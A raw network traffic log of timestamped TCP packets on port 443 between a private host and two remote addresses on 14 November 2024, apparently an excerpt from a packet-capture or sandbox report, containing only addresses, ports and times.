Nov 14, 2024 17:24:58.000154018 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.000184059 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.000246048 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.000904083 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.000920057 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.692444086 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.693022966 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.693392992 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.693419933 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.694068909 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.694080114 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.694936037 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.694955111 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.706631899 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.706640005 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.802763939 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.803320885 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.803338051 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.803935051 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.803952932 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.811630964 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.812848091 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.812869072 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.813406944 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.813411951 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.823374033 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.824783087 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.825098991 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.825763941 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.825778008 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.825812101 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.826307058 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.826312065 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.828916073 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.828943968 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.829010010 CET	49974	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.829016924 CET	443	49974	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.832529068 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.832580090 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.832767963 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.833069086 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.833101988 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.833529949 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.833623886 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.833672047 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.833697081 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.833854914 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.833867073 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.833895922 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.833895922 CET	49973	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.833903074 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.833909988 CET	443	49973	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.836317062 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.836334944 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.836528063 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.836528063 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.836550951 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.944294930 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.945029020 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.945333004 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.945419073 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.945419073 CET	49976	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.945461988 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.945497990 CET	443	49976	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.947087049 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.947151899 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.947280884 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.947292089 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.947387934 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.951071978 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.951081038 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.951111078 CET	49975	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.951116085 CET	443	49975	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.954720020 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.954807997 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.955169916 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.955169916 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.955246925 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.959333897 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.959345102 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.961150885 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.961309910 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.961349010 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.961467028 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.961791992 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.961796045 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.961813927 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.961822987 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.961844921 CET	49977	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.961848974 CET	443	49977	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.967389107 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.967410088 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:58.971510887 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.971687078 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:58.971698046 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.571336985 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.586368084 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.600729942 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.600815058 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.601145029 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.601161003 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.604477882 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.604504108 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.604911089 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.604916096 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.701432943 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.703182936 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.703202009 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.703835964 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.703840971 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.706851006 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.707863092 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.707914114 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.708378077 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.708390951 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.726051092 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.726207018 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.726264000 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.726351023 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.726377964 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.726398945 CET	49978	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.726409912 CET	443	49978	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.730660915 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.730765104 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.730812073 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.730834961 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.730891943 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.730937958 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.743194103 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.743213892 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.743277073 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.743459940 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.743465900 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.743474960 CET	49979	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.743479013 CET	443	49979	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.744035959 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.744048119 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.746733904 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.746803999 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.746881008 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.747021914 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.747057915 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.772890091 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.773499012 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.773510933 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.774090052 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.774096012 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.828527927 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.828644991 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.828691959 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.828926086 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.828939915 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.828952074 CET	49987	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.828957081 CET	443	49987	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.832211018 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.832236052 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.832298994 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.832461119 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.832473993 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.839190960 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.839257002 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.839313984 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.839418888 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.839418888 CET	49986	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.839462042 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.839492083 CET	443	49986	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.842730999 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.842775106 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.842983007 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.842983007 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.843017101 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.910696030 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.910733938 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.910876989 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.911114931 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.911130905 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.911140919 CET	49988	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.911145926 CET	443	49988	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.914369106 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.914416075 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:59.914504051 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.914700985 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:59.914719105 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.510977983 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.511571884 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.511600018 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.512247086 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.512254953 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.528752089 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.529342890 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.529373884 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.530086040 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.530091047 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.569574118 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.570033073 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.570063114 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.570445061 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.570451975 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.596883059 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.598789930 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.598789930 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.598825932 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.598844051 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.640942097 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.641426086 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.641469002 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.641877890 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.641885996 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.648588896 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.648735046 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.648827076 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.648866892 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.648866892 CET	49991	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.648885965 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.648899078 CET	443	49991	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.652092934 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.652118921 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.652189016 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.652466059 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.652478933 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.673082113 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.673254967 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.673317909 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.673444986 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.673454046 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.673464060 CET	49990	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.673469067 CET	443	49990	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.676424980 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.676470995 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.676701069 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.676760912 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.676774979 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.704722881 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.704879999 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.704946995 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.705087900 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.705110073 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.705123901 CET	49992	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.705131054 CET	443	49992	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.708479881 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.708566904 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.708673000 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.708834887 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.708870888 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.731215000 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.731281042 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.731328964 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.732000113 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.732000113 CET	49993	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.732017994 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.732028008 CET	443	49993	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.734622955 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.734673977 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.734741926 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.734880924 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.734899044 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.769987106 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.770297050 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.770327091 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.770382881 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.770416021 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.770973921 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.770993948 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.771012068 CET	49994	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.771018028 CET	443	49994	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.774127960 CET	50011	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.774221897 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:00.774353981 CET	50011	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.774599075 CET	50011	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:00.774635077 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.387686014 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.391179085 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.391208887 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.391809940 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.391815901 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.431057930 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.452692032 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.452717066 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.453886032 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.453896999 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.516417027 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.516483068 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.516587973 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.516830921 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.516830921 CET	50007	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.516841888 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.516850948 CET	443	50007	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.516927004 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.519753933 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.519802094 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.520153046 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.520180941 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.520282030 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.520291090 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.520312071 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.520385981 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.520395041 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.623760939 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.623846054 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.623939991 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.624433994 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.624480009 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.624511003 CET	50009	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.624527931 CET	443	50009	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.628115892 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.628134012 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.628220081 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.628531933 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.628545046 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.648847103 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.649656057 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.649689913 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.649738073 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.649764061 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.649794102 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.650244951 CET	50011	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.650331974 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.650645971 CET	50011	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.650661945 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.650855064 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.650871992 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.650883913 CET	50010	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.650890112 CET	443	50010	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.653753042 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.653785944 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.653866053 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.654035091 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.654047012 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.654807091 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.655394077 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.655406952 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.655853033 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.655858040 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.675465107 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:01.675506115 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:01.675578117 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:01.778203011 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.778896093 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.779031038 CET	50011	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.783092976 CET	50011	443	192.168.2.6	13.107.246.45
